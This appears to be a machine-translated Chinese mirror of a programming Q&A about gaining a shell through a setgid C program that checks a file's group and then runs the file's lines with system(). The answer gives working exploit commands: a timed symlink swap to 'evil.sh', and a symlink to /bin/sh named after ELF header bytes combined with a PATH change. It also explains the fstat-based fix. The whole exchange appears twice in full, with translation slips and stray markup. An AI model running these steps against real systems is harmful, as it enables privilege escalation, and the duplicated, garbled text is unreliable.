如何在 gid 检查下替换文件?
How to replace a file under gid checking?
如下代码,有一个gid检查,为了通过这个检查,我在执行的时候必须把当前正在执行的文件作为参数传入。
我想知道如何替换此文件以获得 bash?
这是一个明显的竞争条件,但我对此一无所知,因为符号链接不适合这种情况。
#define BUFSIZE 512
int main(int argc, char **argv)
{
struct stat buf;
char cmd[BUFSIZE];
FILE *f = NULL;
if (argv[1] == NULL)
{
fprintf(stderr, "error");
exit(1);
}
if (stat(argv[1], &buf))
{
fprintf(stderr, "error\n");
exit(1);
}
if (buf.st_gid != getegid())
{
fprintf(stderr, "The file must be owned by group %d.\n", getegid());
exit(1);
}
fprintf(stderr, "All checks passed!\n");
sleep(3);
if ((f = fopen(argv[1], "r")) == NULL)
{
fprintf(stderr, "Cannot open file.\n");
return 1;
}
while (fgets(cmd, BUFSIZE, f))
{
if ((cmd[0] == '\n') || (cmd[0] == 0x7f))
{
fprintf(stderr, "empty line, quitting!\n");
return 2;
}
system(cmd);
}
printf("Done!\n");
return 0;
}
你可以同时使用 symlink 和 hard link(假设你可以 hardlink 它)。
假设程序是 'program',具有该 gid 的文件本身 'program' 和带有您的命令的文件 'evil.sh':
ln -s /usr/local/bin/program readthis # Make readthis a symlink to program
/usr/local/bin/program readthis & # Launch in background
sleep 1 # Probably enough to get program into the sleep
rm readthis
ln -s evil.sh readthis # Alternatively, mv it
# Profit!
请注意它使用的是 stat()
,因此它将遵循 symlinks。如果它使用 lstat()
,您仍然可以使用 symlinks,但需要使用项目的文件夹。
为了真正修复竞争条件,程序应该 open()
文件并在其上使用 fstat()
,然后将相同的 fd 转换为 FILE*
和 fdopen()
(或者,首先 fopen()
文件,然后 fstat(fileno(f), &buf)
进行权限检查)。
最后,虽然不是预期的解决方案,但您也可以通过以下方式利用此程序:
ln -s /bin/sh $'\x7f\x45\x4c\x46\x02\x01\x01'
export PATH="$PATH:$PWD"
/usr/local/bin/program /usr/local/bin/program
因为编译后的程序可能以这些值开始(只看编译后的二进制文件的开头)。这不需要竞争条件。
如果有带有 运行 配方的 gid 文件,并且它们不使用绝对 pahs,您也可以通过修改后的 $PATH
.[=21= 来利用这些文件]
如下代码,有一个gid检查,为了通过这个检查,我在执行的时候必须把当前正在执行的文件作为参数传入。
我想知道如何替换此文件以获得 bash?
这是一个明显的竞争条件,但我对此一无所知,因为符号链接不适合这种情况。
#define BUFSIZE 512
int main(int argc, char **argv)
{
struct stat buf;
char cmd[BUFSIZE];
FILE *f = NULL;
if (argv[1] == NULL)
{
fprintf(stderr, "error");
exit(1);
}
if (stat(argv[1], &buf))
{
fprintf(stderr, "error\n");
exit(1);
}
if (buf.st_gid != getegid())
{
fprintf(stderr, "The file must be owned by group %d.\n", getegid());
exit(1);
}
fprintf(stderr, "All checks passed!\n");
sleep(3);
if ((f = fopen(argv[1], "r")) == NULL)
{
fprintf(stderr, "Cannot open file.\n");
return 1;
}
while (fgets(cmd, BUFSIZE, f))
{
if ((cmd[0] == '\n') || (cmd[0] == 0x7f))
{
fprintf(stderr, "empty line, quitting!\n");
return 2;
}
system(cmd);
}
printf("Done!\n");
return 0;
}
你可以同时使用 symlink 和 hard link(假设你可以 hardlink 它)。
假设程序是 'program',具有该 gid 的文件本身 'program' 和带有您的命令的文件 'evil.sh':
ln -s /usr/local/bin/program readthis # Make readthis a symlink to program
/usr/local/bin/program readthis & # Launch in background
sleep 1 # Probably enough to get program into the sleep
rm readthis
ln -s evil.sh readthis # Alternatively, mv it
# Profit!
请注意它使用的是 stat()
,因此它将遵循 symlinks。如果它使用 lstat()
,您仍然可以使用 symlinks,但需要使用项目的文件夹。
为了真正修复竞争条件,程序应该 open()
文件并在其上使用 fstat()
,然后将相同的 fd 转换为 FILE*
和 fdopen()
(或者,首先 fopen()
文件,然后 fstat(fileno(f), &buf)
进行权限检查)。
最后,虽然不是预期的解决方案,但您也可以通过以下方式利用此程序:
ln -s /bin/sh $'\x7f\x45\x4c\x46\x02\x01\x01'
export PATH="$PATH:$PWD"
/usr/local/bin/program /usr/local/bin/program
因为编译后的程序可能以这些值开始(只看编译后的二进制文件的开头)。这不需要竞争条件。
如果有带有 运行 配方的 gid 文件,并且它们不使用绝对 pahs,您也可以通过修改后的 $PATH
.[=21= 来利用这些文件]